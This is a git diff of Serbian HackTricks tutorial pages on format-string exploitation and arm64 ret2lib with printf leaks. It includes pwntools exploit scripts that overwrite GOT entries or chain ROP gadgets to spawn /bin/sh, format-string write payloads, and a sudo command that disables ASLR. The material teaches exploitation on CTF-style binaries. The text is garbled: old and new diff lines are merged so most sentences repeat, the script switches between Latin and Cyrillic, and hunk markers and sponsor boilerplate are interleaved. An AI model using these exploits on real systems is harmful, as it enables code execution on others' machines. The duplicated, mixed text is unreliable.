* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Osnovne informacije ## Basic Information
U programskom jeziku C **`printf`** je funkcija koja se može koristiti za **ispisivanje** stringova. Prvi parametar koji ova funkcija očekuje je **čisti tekst sa formatima**. Sledeći očekivani parametri su **vrednosti** koje će **zameniti** **formatere** iz čistog teksta. U C **`printf`** je funkcija koja se može koristiti za **štampanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** za **zamenu** **formatera** iz sirovog teksta.
Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**. Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
Ranjivost se pojavljuje kada **napadačev tekst** bude korišćen kao prvi argument ovoj funkciji. Napadač će moći da kreira **specijalan unos zloupotrebom mogućnosti formatiranja stringova** funkcije `printf` kako bi pročitao i **upisao bilo koje podatke na bilo koju adresu (čitljivo/zapisivo)**. Na taj način može **izvršiti proizvoljan kod**. Ranjivost se pojavljuje kada se **tekst napadača koristi kao prvi argument** ovoj funkciji. Napadač će moći da kreira **poseban unos koji zloupotrebljava** **printf format** string mogućnosti da čita i **piše bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo)**. Na ovaj način će moći da **izvrši proizvoljan kod**.
#### Formatteri: #### Formatters:
```bash ```bash
%08x —> 8 hex bytes %08x —> 8 hex bytes
%d —> Entire %d —> Entire
@ -33,7 +36,7 @@ Ranjivost se pojavljuje kada **napadačev tekst** bude korišćen kao prvi argum
``` ```
**Primeri:** **Primeri:**
* Ranjiv primer: * Ranjivi primer:
```c ```c
char buffer[30]; char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions. gets(buffer); // Dangerous: takes user input without restrictions.
@ -61,29 +64,29 @@ fclose(output_file);
return 0; return 0;
} }
``` ```
### **Pristupanje pokazivačima** ### **Pristupanje Pokazivačima**
Format **`%<n>$x`**, gde je `n` broj, omogućava da se printf-u pokaže da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, možete uraditi: Format **`%<n>$x`**, gde je `n` broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
```c ```c
printf("%x %x %x %x") printf("%x %x %x %x")
``` ```
i pročitao bi ste od prvog do četvrtog parametra. и могли бисте читати од првог до четвртог параметра.
Ili možete uraditi: Или бисте могли да урадите:
```c ```c
printf("$4%x") printf("$4%x")
``` ```
i pročitajte direktno četvrti. и читајте директно четврту.
Primetite da napadač kontroliše parametar `pr`**`intf`, što u osnovi znači da** njegov unos će biti na steku kada se pozove `printf`, što znači da bi mogao da upiše određene memorijske adrese na stek. Обратите пажњу да нападач контролише параметар `pr`**`intf`**, што у основи значи да ће његов унос бити у стеку када се позове `printf`, што значи да би могао да упише специфичне адресе у меморији у стек.
{% hint style="danger" %} {% hint style="danger" %}
Napadač koji kontroliše ovaj unos, moći će **dodati proizvoljnu adresu na stek i naterati `printf` da im pristupi**. U sledećem odeljku će biti objašnjeno kako iskoristiti ovaj ponašanje. Нападач који контролише овај унос, моћи ће да **дода произвољну адресу у стек и натера `printf` да им приступи**. У следећем одељку биће објашњено како користити ово понашање.
{% endhint %} {% endhint %}
## **Proizvoljno čitanje** ## **Произвољно читање**
Moguće je koristiti format **`%n$s`** da bi **`printf`** dobio **adresu** smeštenu na **n poziciji**, sledeći je i **odštampao kao da je to string** (štampa do pronalaska 0x00). Dakle, ako je osnovna adresa binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji na steku, moguće je odštampati početak binarnog fajla sa: Могуће је користити форматор **`%n$s`** да натера **`printf`** да добије **адресу** која се налази на **n позицији**, следећи је и **одштампа као да је то стринг** (одштампа до 0x00). Дакле, ако је базна адреса бинарног фајла **`0x8048000`**, и знамо да кориснички унос почиње на 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са:
```python ```python
from pwn import * from pwn import *
@ -97,16 +100,16 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
``` ```
{% hint style="danger" %} {% hint style="danger" %}
Imajte na umu da ne možete staviti adresu 0x8048000 na početak unosa jer će string biti završen sa 0x00 na kraju te adrese. Napomena da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut u 0x00 na kraju te adrese.
{% endhint %} {% endhint %}
### Pronalaženje ofseta ### Pronađi offset
Da biste pronašli ofset za vaš unos, možete poslati 4 ili 8 bajtova (`0x41414141`), praćeno sa **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`. Da biste pronašli offset do vašeg ulaza, možete poslati 4 ili 8 bajtova (`0x41414141`) praćenih **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`.
<details> <details>
<summary>Bruteforce printf ofset</summary> <summary>Brute Force printf offset</summary>
```python ```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -139,42 +142,43 @@ p.close()
### Koliko je korisno ### Koliko je korisno
Proizvoljna čitanja mogu biti korisna za: Arbitrarna čitanja mogu biti korisna za:
* **Izbacivanje** **binarnog koda** iz memorije * **Ispis** **binarne** datoteke iz memorije
* **Pristupanje određenim delovima memorije gde se čuvaju osetljive** **informacije** (kao što su kanarinci, ključevi za šifrovanje ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) * **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Proizvoljni Upis** ## **Arbitrarno Pisanje**
Formatter **`$<num>%n`** **upisuje** broj napisanih bajtova na **označenu adresu** u parametru \<num> na steku. Ako napadač može da upiše toliko znakova koliko želi pomoću printf funkcije, moći će da natera **`$<num>%n`** da upiše proizvoljan broj na proizvoljnu adresu. Formatirac **`$<num>%n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi da **`$<num>%n`** piše proizvoljan broj na proizvoljnu adresu.
Srećom, da bi se upisao broj 9999, nije potrebno dodati 9999 "A" u ulaz, već je moguće koristiti formatter **`%.<num-write>%<num>$n`** da bi se upisao broj **`<num-write>`** na **adresu na koju pokazuje pozicija `num`**. Srećom, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu koju pokazuje `num` pozicija**.
```bash ```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500 AAAA.%500\$08x —> Param at offset 500
``` ```
Međutim, važno je napomenuti da se obično koristi `$hn` umesto `$n` kako bi se napisala adresa poput `0x08049724` (što je OGROMAN broj za napisati odjednom). Ovo omogućava da se napišu samo 2 bajta. Stoga se ova operacija obavlja dva puta, jednom za najviša 2B adrese, a drugi put za najniže. Međutim, imajte na umu da se obično za pisanje adrese kao što je `0x08049724` (što je OGROMAN broj za pisanje odjednom), **koristi `$hn`** umesto `$n`. Ovo omogućava da **se napiše samo 2 Bajte**. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
Ova ranjivost omogućava pisanje bilo čega na bilo koju adresu (proizvoljno pisanje). Stoga, ova ranjivost omogućava **pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).**
U ovom primeru, cilj je da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako ovo može zloupotrebiti druge tehnike proizvoljnog pisanja za izvršenje: U ovom primeru, cilj će biti da se **prepiše** **adresa** **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarno pisanje za izvršavanje:
{% content-ref url="../arbitrary-write-2-exec/" %} {% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/) [arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %} {% endcontent-ref %}
Prepisivaćemo funkciju koja prima argumente od korisnika i usmerićemo je ka funkciji `system`. Kao što je pomenuto, obično su potrebna 2 koraka za pisanje adrese: Prvo se pišu 2 bajta adrese, a zatim druga 2. Za to se koristi `$hn`. Mi ćemo **prepisati** **funkciju** koja **prima** svoje **argumente** od **korisnika** i **usmeriti** je na **`system`** **funkciju**.\
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo **napišete 2Bajta** adrese, a zatim ostala 2. Da biste to uradili, koristi se **`$hn`**.
* HOB se odnosi na 2 viša bajta adrese * **HOB** se poziva na 2 viša bajta adrese
* LOB se odnosi na 2 niža bajta adrese * **LOB** se poziva na 2 niža bajta adrese
Zatim, zbog toga kako formatiranje stringa funkcioniše, morate prvo napisati manji od \[HOB, LOB\], a zatim drugi. Zatim, zbog načina na koji funkcioniše format string, morate **prvo napisati manji** od \[HOB, LOB] i zatim drugi.
Ako je HOB < LOB\ Ako je HOB < LOB\
`[adresa+2][adresa]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Ako je HOB > LOB\ Ako je HOB > LOB\
`[adresa+2][adresa]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
@ -186,13 +190,13 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
### Pwntools Šablon ### Pwntools Šablon
Možete pronaći **šablon** za pripremu eksploatacije ove vrste ranjivosti u: Možete pronaći **šablon** za pripremu eksploita za ovu vrstu ranjivosti u:
{% content-ref url="format-strings-template.md" %} {% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md) [format-strings-template.md](format-strings-template.md)
{% endcontent-ref %} {% endcontent-ref %}
Ili ovaj osnovni primer sa [**ovde**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): Ili ovaj osnovni primer iz [**ovde**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python ```python
from pwn import * from pwn import *
@ -211,18 +215,33 @@ p.sendline('/bin/sh')
p.interactive() p.interactive()
``` ```
## Format Strings za BOF ## Format Strings to BOF
Moguće je zloupotrebiti akcije pisanja ranjivosti formatiranja stringova kako bi se **upisivali adrese sa steka** i iskoristila vrsta ranjivosti **preplavljivanja bafera**. Moguće je zloupotrebiti akcije pisanja ranjivosti format string-a da se **piše u adrese steka** i iskoristi ranjivost tipa **buffer overflow**.
## Ostali Primeri & Reference ## Other Examples & References
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) * [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) * [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) * [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, bez relro-a, bez canary-ja, nx, bez pie-a, osnovna upotreba format stringova za procurivanje zastave sa steka (nema potrebe za menjanjem toka izvršavanja) * 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format string-a za curenje zastavice iz steka (nije potrebno menjati tok izvršenja)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, bez canary-ja, nx, bez pie-a, format string za prepisivanje adrese `fflush` sa funkcijom pobede (ret2win) * 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, bez canary-ja, nx, bez pie-a, format string za pisanje adrese unutar main-a u `.fini_array` (tako da tok ponovo petlja još 1 put) i pisanje adrese `system` u GOT tabeli koja pokazuje na `strlen`. Kada tok ponovo ode u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande. * 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u `.fini_array` (tako da se tok vraća još jednom) i pisanje adrese u `system` u GOT tabeli koja pokazuje na `strlen`. Kada se tok vrati u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Ret2lib + Printf leak - arm64 # Ret2lib + Printf leak - arm64
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Ret2lib - NX zaobilaženje sa ROP-om (bez ASLR) ## Ret2lib - NX zaobilaženje sa ROP (bez ASLR)
```c ```c
#include <stdio.h> #include <stdio.h>
@ -31,41 +32,41 @@ printfleak();
bof(); bof();
} }
``` ```
Kompajlirajte bez kanara: Kompajlirajte bez kanarinca:
```bash ```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr # Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
### Pronađi pomak ### Pronađi offset
### Pomak x30 ### x30 offset
Kreiranje obrasca sa **`pattern create 200`**, korišćenje istog i provera pomaka sa **`pattern search $x30`** pokazuje da je pomak **`108`** (0x6c). Kreiranjem obrasca sa **`pattern create 200`**, koristeći ga, i proveravajući offset sa **`pattern search $x30`** možemo videti da je offset **`108`** (0x6c).
<figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Pogledom na rastavljenu glavnu funkciju možemo videti da bismo želeli da **skočimo** na instrukciju za skok direktno na **`printf`**, čiji je pomak od mesta učitavanja binarnog fajla **`0x860`**: Pogledajući disassembliranu glavnu funkciju možemo videti da želimo da **skočimo** na instrukciju koja direktno skače na **`printf`**, čiji je offset od mesta gde je binarni fajl učitan **`0x860`**:
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
### Pronađi sistem i string `/bin/sh` ### Pronađi sistem i `/bin/sh` string
S obzirom da je ASLR onemogućen, adrese će uvek biti iste: Pošto je ASLR onemogućen, adrese će uvek biti iste:
<figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure>
### Pronađi Gadgete ### Pronađi Gadgets
Potrebno je da u **`x0`** bude adresa stringa **`/bin/sh`** i poziv **`system`** funkcije. Moramo imati u **`x0`** adresu do stringa **`/bin/sh`** i pozvati **`system`**.
Korišćenjem roopera pronađen je zanimljiv gadget: Korišćenjem roopera pronađen je zanimljiv gadget:
``` ```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
``` ```
Ovaj uređaj će učitati `x0` sa **`$sp + 0x18`** a zatim učitati adrese x29 i x30 sa sp i skočiti na x30. Dakle, sa ovim uređajem možemo **kontrolisati prvi argument i zatim skočiti na sistem**. Ovaj uređaj će učitati `x0` iz **`$sp + 0x18`** i zatim učitati adrese x29 i x30 iz sp i skočiti na x30. Tako da sa ovim uređajem možemo **kontrolisati prvi argument i zatim skočiti na system**.
### Napad ### Exploit
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -95,7 +96,7 @@ p.sendline(payload)
p.interactive() p.interactive()
p.close() p.close()
``` ```
## Ret2lib - Bajpas NX, ASLR i PIE sa printf otkrivanjem sa steka ## Ret2lib - NX, ASL & PIE zaobilaženje sa printf leak-ovima iz steka
```c ```c
#include <stdio.h> #include <stdio.h>
@ -121,46 +122,46 @@ bof();
} }
``` ```
Kompajliraj **bez kanara**: Kompajlirajte **bez kanarinca**:
```bash ```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security clang -o rop rop.c -fno-stack-protector -Wno-format-security
``` ```
### PIE i ASLR ali bez canary-ja ### PIE i ASLR, ali bez kanarinca
* Runda 1: * Runda 1:
* Procure PIE sa steka * Leak od PIE sa steka
* Zloupotreba bof-a da se vrati na main * Zloupotreba bof da se vrati u main
* Runda 2: * Runda 2:
* Procure libc sa steka * Leak od libc sa steka
* ROP: ret2system * ROP: ret2system
### Printf otkrivači ### Printf leaks
Postavljanjem prekidača pre poziva printf-a moguće je videti adrese za povratak u binarni fajl na steku, kao i adrese libc-a: Postavljanjem breakpoint-a pre pozivanja printf, moguće je videti da postoje adrese za vraćanje u binarni kod na steku, kao i libc adrese:
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Isprobavanjem različitih ofseta, **`%21$p`** može otkriti adresu binarnog fajla (PIE zaobilazak) i **`%25$p`** može otkriti adresu libc-a: Pokušavajući različite ofsete, **`%21$p`** može da leak-uje binarnu adresu (PIE bypass) i **`%25$p`** može da leak-uje libc adresu:
<figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Oduzimajući otkrivenu adresu libc-a od bazne adrese libc-a, moguće je videti da je **ofset** otkrivene adrese od baze `0x49c40`. Oduzimanjem leak-ovane libc adrese od osnovne adrese libc, moguće je videti da je **ofset** leak-ovane adrese od osnove `0x49c40`.
### x30 ofset ### x30 ofset
Pogledajte prethodni primer jer je bof isti. Pogledajte prethodni primer jer je bof isti.
### Pronalaženje Gadgeta ### Pronađi Gadgets
Kao i u prethodnom primeru, potrebno je imati u **`x0`** adresu stringa **`/bin/sh`** i pozvati **`system`**. Kao u prethodnom primeru, potrebno je imati u **`x0`** adresu do stringa **`/bin/sh`** i pozvati **`system`**.
Korišćenjem roopera pronađen je još jedan zanimljiv gadget: Korišćenjem roopera pronađen je još jedan zanimljiv gadget:
``` ```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
``` ```
Ovaj uređaj će učitati `x0` sa **`$sp + 0x78`** a zatim učitati adrese x29 i x30 sa sp i skočiti na x30. Dakle, sa ovim uređajem možemo **kontrolisati prvi argument i zatim skočiti na sistem**. Ovaj uređaj će učitati `x0` iz **`$sp + 0x78`** i zatim učitati adrese x29 i x30 iz sp i skočiti na x30. Tako da sa ovim uređajem možemo **kontrolisati prvi argument i zatim skočiti na system**.
### Napad ### Exploit
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -210,16 +211,17 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,25 +1,26 @@
# Otkrivanje libc adrese pomoću ROP-a # Curjenje libc adrese sa ROP
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
